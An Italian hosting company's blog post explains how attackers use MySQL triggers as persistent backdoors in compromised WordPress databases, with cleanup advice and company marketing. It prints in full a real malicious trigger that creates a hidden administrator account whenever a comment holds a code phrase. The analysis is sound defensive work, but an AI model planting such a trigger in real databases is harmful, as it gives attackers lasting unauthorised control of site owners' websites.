1 Dicembre 2022

Malware e Backdoor su WordPress utilizzando TRIGGER MySQL

Come gli hacker mantengono l’accesso alla nostra installazione WordPress utilizzando una backdoor MySQL

Nell’ultimo anno, c’è stata una tendenza crescente del malware WordPress che utilizza trigger SQL per nascondere query SQL dannose all’interno di database compromessi. Queste query inseriscono un utente a livello di amministratore nel database infetto ogni volta che viene soddisfatta la condizione di attivazione.

Ciò che rende questo particolarmente problematico per i proprietari di siti Web è che la maggior parte delle guide alla pulizia del malware si concentra sui file e sui dati del sito Web all’interno di tabelle di database specifiche, ad esempio wp_users , wp_options e wp_posts.

Se utilizzi un CMS popolare sul tuo sito Web (come WordPress), è probabile che utilizzi un database MySQL per l’archiviazione di dati importanti come le impostazioni e i contenuti del CMS (ad esempio i post di WordPress). Ciò significa che tutto ciò che può modificare il database MySQL può anche causare seri danni al sito Web, come l’iniezione di contenuti dannosi o addirittura l’eliminazione del contenuto del tuo sito Web.

Questo rischio per la sicurezza è uno dei motivi per cui al database MySQL sono assegnati nome utente e password separati (vedere il file wp-config.php ): questa funzione impedisce a qualcuno di interrogare in remoto il database MySQL senza le informazioni di accesso appropriate.

Poiché WordPress ha accesso alle informazioni di accesso tramite wp-config.php , è in grado di leggere e apportare modifiche al database definito all’interno del file di configurazione.

Sfortunatamente, dopo che gli aggressori ottengono l’accesso non autenticato, spesso possono leggere il file wp-config.php per apprendere le informazioni di accesso per il database del sito Web, che possono quindi essere utilizzate dal malware dell’attaccante per connettersi al database e apportare modifiche dannose.

Trigger SQL

Un trigger SQL è una procedura memorizzata che viene eseguita automaticamente quando vengono apportate modifiche specifiche al database.

Il trigger, nelle basi di dati, è una procedura che viene eseguita in maniera automatica in coincidenza di un determinato evento, come ad esempio la cancellazione di un record di una tabella. In questo modo si ha a disposizione una tecnica per specificare e mantenere vincoli di integrità anche complessi. I trigger permettono agli utenti di specificare vincoli di integrità più complessi dato che un trigger è essenzialmente una procedura PL/SQL (Oracle), Transact-SQL, ecc.

Tale procedura è quindi associata ad una tabella e viene automaticamente richiamata dal motore del database quando una certa modifica (o evento) avviene all’interno della tabella. Le modifiche sulla tabella possono includere operazioni insertupdate, e delete.

Sebbene abbiano molte applicazioni utili, abbiamo anche prove che i trigger SQL vengono utilizzati da malintenzionati per mantenere l’accesso non autorizzato dopo una compromissione. Per fare ciò, gli aggressori inseriscono un trigger SQL nel database di un sito Web compromesso e quando vengono soddisfatti criteri specifici o si verifica un evento, viene eseguita l’azione memorizzata dannosa.

Ad esempio, abbiamo trovato questo interessante trigger SQL backdoor nella tabella wp_comments sul database di un sito Web infetto:

/*!50003 CREATE*/ /*!50017 DEFINER=`root_ext`@`%`*/ /*!50003 TRIGGER `after_insert_comment` AFTER INSERT ON `meccanicainnovativa`.`wp_comments`
FOR EACH ROW BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `meccanicainnovativa`.`wp_users`);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO `meccanicainnovativa`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
INSERT INTO `meccanicainnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
INSERT INTO `meccanicainnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
END IF;
END */;;

Questo trigger SQL crea un utente amministratore dannoso ogni volta che un nuovo commento contenente le parole in codice ” are you struggling to get comments on your blog? ” ‘ viene inviato sul sito Web WordPress infetto.

Il trigger controlla la colonna comment_content nel database wp_comments , quindi non importa se il commento è approvato o in attesa. Una volta che il trigger SQL è attivo, inserisce un utente amministratore dannoso wpadmin con la data di registrazione contraffatta 2014-06-08 e l’indirizzo e-mail wp-security@hotmail [ com

Conclusione e passaggi di mitigazione

Quando un sito Web è stato compromesso, puoi scommettere che gli aggressori saranno alla ricerca di eventuali credenziali del database trovate in wp-config o altri file di configurazione CMS e può essere incredibilmente difficile identificare se l’hacker ha raccolto queste informazioni in qualsiasi momento post -infezione.

Se si verifica una compromissione, è necessario aggiornare le password nell’intero ambiente, inclusi i database. Trascurare questo passaggio post-hack può portare un utente malintenzionato ad accedere e modificare il tuo sito anche dopo che pensavi di aver ripulito l’infezione.

Se avete il dubbio che il vostro sito possa avere una backdoor di questo tipo, vi basta esportare il database tramite un dump .sql e cercare all’interno del file esportato la stringa TRIGGER.

Ovviamente non tutti i TRIGGER sono backdoor, come abbiamo detto prima i TRIGGER sono strumenti utili e legittimi; tuttavia, è anche vero che l’utilizzo di TRIGGER all’interno di installazioni WordPress è qualcosa di rarissimo e altamente inusuale.

I proprietari di siti Web che hanno subito una compromissione possono fare riferimento al nostro servizio su come pulire un sito Web compromesso per i passaggi per ripulire l’infezione. Se hai bisogno di una mano, possiamo aiutarti a ripulire qualsiasi malware e backdoor e proteggere il tuo sito.

Hai dei dubbi? Non sai da dove iniziare? Contattaci !

Abbiamo tutte le risposte alle tue domande per aiutarti nella giusta scelta.

Chatta con noi

Chatta direttamente con il nostro supporto prevendita.

0256569681

Contattaci telefonicamente negli orari d’ufficio 9:30 – 19:30

Contattaci online

Apri una richiesta direttamente nell’area dei contatti.

INFORMAZIONI

Managed Server S.r.l. è un player italiano di riferimento nel fornire soluzioni avanzate di sistemistica GNU/Linux orientate all’alta performance. Con un modello di sottoscrizione dai costi contenuti e prevedibili, ci assicuriamo che i nostri clienti abbiano accesso a tecnologie avanzate nel campo dell’hosting, server dedicati e servizi cloud. Oltre a questo, offriamo consulenza sistemistica su sistemi Linux e manutenzione specializzata in DBMS, IT Security, Cloud e molto altro. Ci distinguiamo per l’expertise in hosting di primari CMS Open Source come WordPress, WooCommerce, Drupal, Prestashop, Joomla, OpenCart e Magento, affiancato da un servizio di supporto e consulenza di alto livello adatto per la Pubblica Amministrazione, PMI, ed aziende di qualsiasi dimensione.

Red Hat, Inc. detiene i diritti su Red Hat®, RHEL®, RedHat Linux®, e CentOS®; AlmaLinux™ è un marchio di AlmaLinux OS Foundation; Rocky Linux® è un marchio registrato di Rocky Linux Foundation; SUSE® è un marchio registrato di SUSE LLC; Canonical Ltd. detiene i diritti su Ubuntu®; Software in the Public Interest, Inc. detiene i diritti su Debian®; Linus Torvalds detiene i diritti su Linux®; FreeBSD® è un marchio registrato di The FreeBSD Foundation; NetBSD® è un marchio registrato di The NetBSD Foundation; OpenBSD® è un marchio registrato di Theo de Raadt. Oracle Corporation detiene i diritti su Oracle®, MySQL®, e MyRocks®; Percona® è un marchio registrato di Percona LLC; MariaDB® è un marchio registrato di MariaDB Corporation Ab; REDIS® è un marchio registrato di Redis Labs Ltd. F5 Networks, Inc. detiene i diritti su NGINX® e NGINX Plus®; Varnish® è un marchio registrato di Varnish Software AB. Adobe Inc. detiene i diritti su Magento®; PrestaShop® è un marchio registrato di PrestaShop SA; OpenCart® è un marchio registrato di OpenCart Limited. Automattic Inc. detiene i diritti su WordPress®, WooCommerce®, e JetPack®; Open Source Matters, Inc. detiene i diritti su Joomla®; Dries Buytaert detiene i diritti su Drupal®. Amazon Web Services, Inc. detiene i diritti su AWS®; Google LLC detiene i diritti su Google Cloud™ e Chrome™; Microsoft Corporation detiene i diritti su Microsoft®, Azure®, e Internet Explorer®; Mozilla Foundation detiene i diritti su Firefox®. Apache® è un marchio registrato di The Apache Software Foundation; PHP® è un marchio registrato del PHP Group. CloudFlare® è un marchio registrato di Cloudflare, Inc.; NETSCOUT® è un marchio registrato di NETSCOUT Systems Inc.; ElasticSearch®, LogStash®, e Kibana® sono marchi registrati di Elastic N.V. Hetzner Online GmbH detiene i diritti su Hetzner®; OVHcloud è un marchio registrato di OVH Groupe SAS; cPanel®, L.L.C. detiene i diritti su cPanel®; Plesk® è un marchio registrato di Plesk International GmbH; Facebook, Inc. detiene i diritti su Facebook®. Questo sito non è affiliato, sponsorizzato o altrimenti associato a nessuna delle entità sopra menzionate e non rappresenta nessuna di queste entità in alcun modo. Tutti i diritti sui marchi e sui nomi di prodotto menzionati sono di proprietà dei rispettivi detentori di copyright. Ogni altro marchio citato appartiene ai propri registranti. MANAGED SERVER® è un marchio registrato a livello europeo da MANAGED SERVER SRL, Via Enzo Ferrari, 9, 62012 Civitanova Marche (MC), Italia.

SOLO UN ATTIMO !

Vorresti vedere come gira il tuo WooCommerce sui nostri sistemi senza dover migrare nulla ? 

Inserisci l'indirizzo del tuo sito WooCommerce e otterrai una dimostrazione navigabile, senza dover fare assolutamente nulla e completamente gratis.

No grazie, i miei clienti preferiscono il sito lento.
Torna in alto